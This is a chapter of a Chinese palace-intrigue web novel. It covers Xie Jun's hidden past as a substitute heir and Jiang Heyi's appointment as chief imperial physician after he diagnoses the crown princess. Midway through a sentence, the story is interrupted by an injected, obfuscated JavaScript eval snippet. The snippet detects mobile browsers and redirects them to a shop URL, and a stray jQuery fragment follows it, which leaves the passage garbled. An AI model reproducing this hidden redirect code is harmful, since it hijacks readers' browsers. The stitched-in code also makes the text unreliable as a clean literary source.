谢筠强忍着胀痛的双膝，跌跌撞撞走出书房时，天色已经微微亮了。


    在外头等了一夜的谢伍看见谢筠这副模样，顿时急得变了神色。


    他并未言语，忙上前搀扶谢筠走回卧房。


    桌上早就摆好了各种伤药，谢筠一坐下，谢伍便开始为他处理伤口。


    “老爷怎么下手这么重……你也不躲躲……”


    谢伍一边擦拭谢筠脸上的血，一边低声喃喃。


    “父亲还愿罚我，便是对我仍抱有期待。”谢筠毫无怨言。


    眉骨上的伤口被碰到之时，谢筠没忍住“嘶”了一声，谢伍的眉心立即皱得更紧，手也不敢动了。


    谢筠直接拿过帕子，自己对着镜子擦拭脸上的血，手劲越擦越大，似在用自己的脸出气。


    谢伍见不得他这样，便抢回帕子，安慰道：“老爷仍在观望朝中局势，公子莫要心急，做多便错多。”


    “你懂什么？”谢筠沉声道，“父亲让我给皇帝下毒之时，这场战争便已开始了。其他世家对我们谢家的不满之声越来越大，沈家在洛宸蠢蠢欲动，想要另起门户，父亲已经等不及了。”


    谢伍在水盆中仔细清洗自己那双遍布皱纹的手，然后再蘸取膏药，小心地涂在谢筠被打肿的脸上。


    他低声道：“沈家也只能在洛宸耀武扬威，只要我们在朝中稳住局势，沈家掀不起波澜。”


    谢筠实在疲惫，闭上了眼：“严伯钧虽一贯瞧不起女子，更不支持女子执政，但他一向支持许昭临，他的那些门生加起来，也占据了不少势力，若许长宁当真与严伯钧联手，父亲在朝中便更为被动了。”


    他的嘴角被打裂，每说一个字都扯得生疼，“若我不急，我便会被替代，一个捡来的棋子，没有那么多容错的机会。”


    谢伍久久未言，最终只是看着谢筠脸上的伤口，轻轻叹了口气。


    当年捡到这个孩子，也不知是救了他，还是毁了他。


    因为谢望松杀一人便救一人的平衡之道，谢伍在一破庙里救下了一个流浪儿。


    捡到他之时，他刚被几个年纪大许多的乞丐欺辱，衣不蔽体，奄奄一息。


    谢伍将这孩子安置在别处，养了将近两个月，才养得有了一点活气。


    谢伍问他的名字，他只说自己在家中排行第五，家里养不起这么多孩子，便将他送给了别人家，可那户人家也穷，对他动辄打骂，又不让他吃饭，他便逃了出来。


    “给我饭吃，我不怕挨打。”


    谢伍仍记得这孩子对他说的第一句话。


    不久后，谢望松的长子谢筠意外葬身火海，为了安抚近乎失心疯的夫人，并掩盖这场意外，谢筠亲自来挑选孤儿充当谢筠。


    这个才七岁左右的孩子，不知从何处得知谢筠死于大火，竟当场点燃了自己身后的衣裳，落了满背的烧伤。


    如此，他便成为了谢筠，被谢望松带回了谢家。


    他说他想有一个家，想得到有权有势的爹娘，想要活得干干净净，为此不惜付出任何代价。


    谢伍本想问出那句长久以来一直想问的话，“值得吗”？


    可他终是忍下了，谢筠这样活了十七年，如今再问这个问题，已经没有意义了。


    他唯一能做的，便是尽可能帮助这个孩子，因为他知道，谢望松对谢筠不会有一丝的心慈手软。


    这个孩子想要的亲情，谢望松不可能给他。


    谢伍弯腰太久，直起腰时，骨头咔地响了一声，他皱起眉，忍着没喊出声，端着水盆走出了卧房，要去给谢筠弄些吃的，不然这孩子会饿自己一日。


    一点都不像小时候，整日缠着他要吃的，一日得问七八遍，而且都要吃肉。


    想起谢筠年幼时一口气吃五个鸡腿的模样，谢伍便忍不住扬起一抹笑。


    可这抹笑很快便淡去了。


    他回头看向卧房中那道身影，浑浊的双眼，已有些看不清了。


    如今他将近花甲之年，也不知还能陪这孩子多久，若他在，还能再谢望松面前帮着说两句，若他不在了……


    “小五，值得吗？”


    晨风卷着残雪，将谢伍的呢喃吹散无踪。


    *


    接下来五日，江鹤一废寝忘食，将教习考核需要通读的所有书都看完了。


    林笙将这一消息告知许长宁，许长宁思索片刻，当即便让严伯钧带人来东宫进行考核。


    严伯钧本不信江鹤一能在如此短的时间内熟识昭国礼制律法，可一通考核下来，无论是口头回答，或是以考卷形式作答，江鹤一皆毫无错漏。


    饶是严伯钧如此高傲之人，都忍不住隐晦地夸赞了一句“记性尚可”。


    随后，严伯钧又让几名太医分别考核江鹤一的医术，那几名太医本以为江鹤一只懂些皮毛，便用最为简单的问题考他，怎料江鹤一对答如流，根本不用思考。


    几名太医一时被挑起胜负欲，越考越深，渐渐开始力不从心。


    这位燕国来的质子，在医学上的造诣，竟与他们不相上下。


    那几名太医如实告知严伯钧，严伯钧也不打算为难江鹤一，便要宣布他通过了考核。


    “慢着。”


    许长宁忽然出现在门口，带着风雪，面无表情地跨入屋内，越过纷纷行礼的众人，坐到了堂中央的椅子上。


    “孤也要出一道题目，考考燕皇子殿下。”


    她让薛竹铃将几张药方递给一旁的太医，“此乃前太医令于冬至前为孤开的方子，现在让江鹤一为孤把脉诊断，新开几张药方，两者相比，若有差错，医术这一项考核便不通过。”


    许长宁看向屋内几人，问：“诸位可有异议？”


    见无人反对，许长宁伸出手，放在桌上，对一侧的江鹤一道：“来为孤把脉。”


    江鹤一没有理由拒绝，走上前去，本欲直接把脉，忽然想起什么，掏出了一方帕子。


    他本想将其覆在许长宁的手腕之上，但展开帕子的那一瞬，他又顿住了。


    他看到那帕子已经旧到褪色起毛……


    “用帕子也好。”许长宁却直接拿过帕子，铺在手腕上，平静道，“日后你为后宫妃嫔诊疗，也要隔着帕子把脉，眼下便试试，你隔着帕子判断脉象是否准确。”


    江鹤一望着那方旧帕子覆在许长宁雪白的手腕上，刺眼得很。


    他垂下眼，在一旁坐下，轻轻将手指搭在许长宁的脉搏上。


    触碰的瞬间，他的第一个念头是，她的手好冰……


    是刚从屋外进来的原因吗？


    不对，此前每一回与她接触，她的手都是冰凉的，看来是身子调理得不好。


    江鹤一凝神专注，感受着指尖下的搏动，缓缓开口：“殿下前不久应当是感染了风寒，眼下脉象浮而无力，风寒之气仍滞于肺腑，且气血亏虚之象明显。”


    他收回手，抬眼看向许长宁，看着她眼底淡淡的乌青，倏地有些心虚。


    “想来应是殿下近日操劳过度，未能好好将养，需再服两剂驱寒补气血的方子，切不可再着凉与劳心耗神。”


    “将药方写下来。”许长宁脸上没有半分情绪，话音亦是如此。


    江鹤一照做，书写药方时毫无犹豫，一气呵成。


    薛竹铃将药方递给那几名太医，几人凑在一块看了一遍，又看了看旧的药方，比对半晌，一时间面面相觑。


    太医令已被处决，几人已无顾忌，于是一人上前躬身回话，语气中难掩叹服。


    “殿下，臣等细查这方子，比起旧的方子，更胜一筹。驱寒用的药材减了半钱量，配着生姜、大枣，温散不伤胃，比太医令方子里的麻黄更为温和。此外，又加了黄芪、当归打底，既能治风寒，又能补您亏空的气血。”


    许长宁面不改色：“诸位莫要因为孤几日前在太医署所为，便故意往好了说。”


    “臣绝无虚言。”那太医神情看上去颇为诚恳，“臣认为，这方子最妙之处，乃为殿下考虑得周全。日间服用的方子，避开了易致困倦昏沉的几味药材，以其他药材补足了药效。殿下服用后既能祛病，亦不会耽误日间正事。而夜间服用的方子，则特意添加了几味安神的药材，可助殿下安稳入睡。”


    许长宁望向另外几名太医：“你们亦是如此认为？”


    “是。”几人一同应道。


    “很好。”许长宁站了起来，走到江鹤一面前，问道，“你的医术，可是苏医师所授？”


    江鹤一实话答道：“是。”


    “苏医师在燕国，可是在太医署待过？”


    “是。”


    许长宁转过身，当场宣布：“那你从今日起，便任太医令，与苏医师一同，掌管太医署。”


    此言一出，在场众人皆怔住了。


    江鹤一猛地攥紧了衣袖。


    她……不是打算将他囚禁于此吗？


    “殿下！这……这不妥啊……”方才那名太医当即跪了下来，另外几人见状，也跟着跪下。


    许长宁直言：“有何不妥？他的医术，比上一任太医令有过之而无不及，他又是孤的翊圣郎，位至从一品，如何不能掌管太医署？”


    “殿下……”那太医支支吾吾答道，“燕皇子殿下……曾是质子……”


    许长宁看向一旁的江鹤一，言语中仍没有情绪：“你说呢？”


    江鹤一直直望着许长宁，默默攥紧了拳。


    他说？


    他说的，有用吗？


    他……能说吗？


    许长宁迎着他的目光，虽没有什么温度，却是坚定的。


    忽然便有一股莫名的冲动往他的脑门上拱，他咬了咬牙，沉声道：“医者之责，乃行医救人，太医更是医者中的佼佼者，更应如此。”


    江鹤一听见自己的话语，句句掷地有声。


    “敢问几位大人，身份地位，与行医救人，有何关联？”


    “一名病患等着救命，你身份高贵，却救不了，而我能救，但因为只是一名质子，便不能出手施救，我们便等着病患丧命，是吗？”


    “医者持针握药，应当只看医术，而非身份的三六九等。若几位大人认为我术业不精，不配为太医令，我认，可若只是因为我的身份而质疑我，我不认，不服，亦看不起你们。”


    江鹤一的声音越来越大，此时停下，他忽然觉得天地间都安静了。


    安静到，他只听得见自己有些急促的呼吸声。


    十二年……


    在昭国十二年，他总是地上那块被人践踏的泥巴，从未有机会，能理直气壮地站起来，说一句“不认，不服”。


    他并非生来卑贱，他也曾有过一身鹤骨。


    他也并非废物，他还有师父教给他的本事。


    而他眼下可以说出这些话，是因为他知晓，他的身后有许长宁撑着。虽然她此举势必于她有利，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857111|189670||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她才会如此，说不定还有别的算计与利用，但他此刻不在乎了。


    他好痛快，好兴奋，下意识便看向了许长宁，恰好捕捉到她嘴角微微扬起的一瞬。


    这一抹似有若无的笑意，竟让江鹤一失神。


    不知为何，他好想与她分享此刻的喜悦，可许长宁却移开眼，避开了他的目光。


    他的心中倏地一空，那份喜悦，直直坠地。


    江鹤一这一番话，令跪着的几名太医哑口无言。


    严伯钧一直旁观，并未出言阻止，他早猜到许长宁忽然来这一出，定是别有用心，原来是想在太医署安插自己的人。


    斩断了谢家伸向朝中的第一只手，便马上要将其纳入自己旗下，许长宁还真是干脆利落，丝毫不怕明着与谢家作对。


    且看她能走多远吧，严伯钧心想着。


    “诸位若无异议……”许长宁拂袖负手于身后，肃声道，“江鹤一，这太医令，你可担得起？”


    江鹤一深呼吸一口气，敛袍跪下，作揖郑重答道：“小人担得起。”


    “那便如此定下了，明日你便与苏医师前往太医署了解情况，孤会命太常寺派人前去，与你细说相关事宜。”


    许长宁始终没再看江鹤一，说完便往外走。


    行至门边，她忽然驻足。


    江鹤一看见，许长宁逆着屋外的天光，回首望向了他。


    她的声音，如屋外积雪般冰冷，说出来的字句，却仿佛落在积雪上的阳光。


    “记住了，在昭国，你是孤的翊圣郎，孤的臣子，不是什么小人。”


    江鹤一感觉呼吸一滞。


    阳光斜照，连空中的灰尘都能看得一清二楚，而许长宁，立在阳光的中央。


    他的心，跳得好快。


    是因为紧张吗？


    江鹤一抿抿唇，缓缓抬手，双手作揖。


    “臣……遵命……”


    许长宁并未言语，只是深深望了他一眼，随即步履匆匆离开。


    看她穿戴整齐，似是要外出。


    江鹤一头脑一热，追了上去，却被薛竹铃拦下，看着许长宁上了马车。


    “你又想干什么？”薛竹铃毫不客气地质问。


    江鹤一因薛竹铃赤裸裸的敌意而结巴了一下：“我……我想问殿下，我是否能随意出入东宫？”


    “殿下从未要囚禁江公子，向来只是为了保护你的安全。”卫迟风将许长宁送上马车，折返回答了这个问题，“若江公子要外出，会有两名卫率贴身保护你。”


    薛竹铃不跟江鹤一客气，直接指着他的鼻子，气焰嚣张：“不然呢？你以为我们殿下会将你关在此处？我们殿下是世上最好的人，对无辜之人从来都是善待，但是你一点都不无辜，一副心肠子黑透了！净知道惹殿下生气伤心！”


    江鹤一不禁一哽。


    许长宁生气伤心？


    因为他？


    “走吧。”马车内忽然传出许长宁的命令。


    薛竹铃冲江鹤一挥了挥拳头：“我会一直盯着你，你若是再敢惹殿下不悦，我打死你！”


    她看自己在江鹤一面前矮了一个脑袋，随即又补了句，“我让卫迟风打死你！”


    薛竹铃扔下狠话，拉着卫迟风转身就走。


    马车离去，在雪地上拖出长长的痕迹。


    风吹起车帘，让江鹤一窥得车内的许长宁片刻。


    她撑着脸，正闭目养神。


    一如他诊脉的结论那般，疲惫体虚，风寒未愈。


    她应当休息，不应该如此奔波的。


    给他服了药，自己为何不好好服药？


    直到马车远去，消失在他的视线当中，江鹤一忽然回过神来，发现自己将衣袖攥得很紧。


    他不禁为心中所想而嘲讽自己。


    他在许长宁心中，不过是路边的野狗，有些利用价值，她才施舍了一些善意，他有什么资格想这些？


    江鹤一转过身，正要走回去，突然有几名宫女从他面前走过。


    她们今日，皆身着淡黄色的衣裙。


    几乎是瞬间，他脑中便浮现出那日，许长宁身着带血的明黄色衣裙，俯身欲吻向他的模样。


    一众颜色之中，她穿明黄色，最是好看。


    一如她的模样，明媚时如阳，威严时如山。


    仿佛有一道雷，猛然击中了江鹤一。


    他回过神来，迈步跑向那堆放杂废的角门，可昨夜还在树旁的柴草筐此刻却不见了。


    他忙寻了一名宫女询问，得知筐中的废弃衣物每隔七日便会处理一遍，方才恰好有太监来取走了。


    江鹤一问那太监的去向，当即便追了过去。


    他不喜欢奔跑，因为他跑起来，腿伤所致的跛脚便会暴露无遗。


    可今日，他却在宫道上使劲地跑，迎着暖阳，踏着雪，不顾旁人眼光，不顾一切地朝前跑去。


    冷气灌入他的体内，他却不觉得难受。


    终于，他看到了拉着一大车柴草筐的一名太监。


    他喊停那太监，一一翻找堆满废衣脏衣的柴草筐。


    他觉得自己疯了，可拼命翻找的双手，就是停不下来。


    终于，在满眼的灰蓝黑之中，他看到了一抹阳光的颜色。


    江鹤一的脸上，情不自禁地露出了笑意。


    寻到了！


    许长宁说她最喜欢的，那件明黄色的衣裳。